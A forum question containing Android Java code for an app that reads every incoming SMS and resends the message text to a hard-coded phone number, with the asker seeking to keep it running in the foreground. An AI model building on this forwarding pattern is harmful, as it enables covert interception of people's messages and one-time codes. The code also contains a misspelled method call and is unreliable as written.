Receive SMS using Android BroadcastReceiver and now turn to foregorond

 this  is another class

public class SmsReceiver extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {
    Bundle bundle = intent.getExtras();
    try {
        if (bundle != null) {
            Object[] smsOnj = (Object[]) bundle.get("pdus");
            for (Object obj : smsOnj) {

    SmsMessage message  =SmsMessage.createFromPdu((byte[]) obj);
     String Message = message.getDisplayMessageBody();
    String mobile_no = message.getDisplayOriginatinddress();

Log.d("message", "MobNo: " + mobile_no + " ,Msg: " + Message);
 Toast.makeText(context,  Message, Toast.LENGTH_LONG).show();

   Intent in = new Intent(context, MainActivity.class);
                in.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                in.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
                in.putExtra("msg",Message);
                in.putExtra("phone",mobile_no);
                context.startActivity(in);
            }
        }
    } catch (Exception e) 
      {
      e.getMessage(); 
      }
    }
   }'

this is mainactivity what can add in this code

public class MainActivity extends AppCompatActivity {
EditText phone, message;
Button button, btnStartService,btnStopService;
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
    phone = findViewById(R.id.phone);
    message = findViewById(R.id.msg);
    button = findViewById(R.id.button);
    if (ContextCompat.checkSelfPermission(this, Manifest.permission.RECEIVE_SMS) != PackageManager.PERMISSION_GRANTED) {
        if (ActivityCompat.shouldShowRequestPermissionRationale(this, Manifest.permission.RECEIVE_SMS)) {
            // do nothing
             } else {
            ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.RECEIVE_SMS}, 0);}}

    if (ContextCompat.checkSelfPermission(MainActivity.this, Manifest.permission.SEND_SMS) == PackageManager.PERMISSION_GRANTED)
    {
            //do nothing
    } else {ActivityCompat.requestPermissions(MainActivity.this, new String[]{Manifest.permission.SEND_SMS}, 100);}
    String pho = getIntent().getStringExtra("phone");
    String mmm = getIntent().getStringExtra("msg");

    //get message from smsReciver.java and set in phone and message
    phone.setText(pho);
    message.setText(mmm);
    sendSms();
    btnStartService = findViewById(R.id.buttonStartService);
    btnStopService = findViewById(R.id.buttonStopService);}
public void sendSms() {
            String sphone=phone.getText().toString().trim();
            String smessage=message.getText().toString().trim();

            if (!sphone.equals("") &&!smessage.equals("")) {
                SmsManager smsManager = SmsManager.getDefault();
                smsManager.sendTextMessage("+919122862867", null,  smessage , null, null);

                Toast.makeText(this, "sms send successfully", Toast.LENGTH_SHORT).show();

            }else {
                Toast.makeText(this, "start" +"", Toast.LENGTH_SHORT).show();
            }
        }
        @Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
    super.onRequestPermissionsResult(requestCode, permissions, grantResults);

    if (requestCode==100  &&grantResults.length>0  && grantResults[0]==PackageManager.PERMISSION_GRANTED){
        sendSms();

    }else
    {
        Toast.makeText(this, "please grant permission", Toast.LENGTH_SHORT).show();
    }
}}

this code take, read and send SMS. but I want to go one step go ahead now I want to do run application in foreground there is my code .now what code of line add to my code to run this app I foreground ???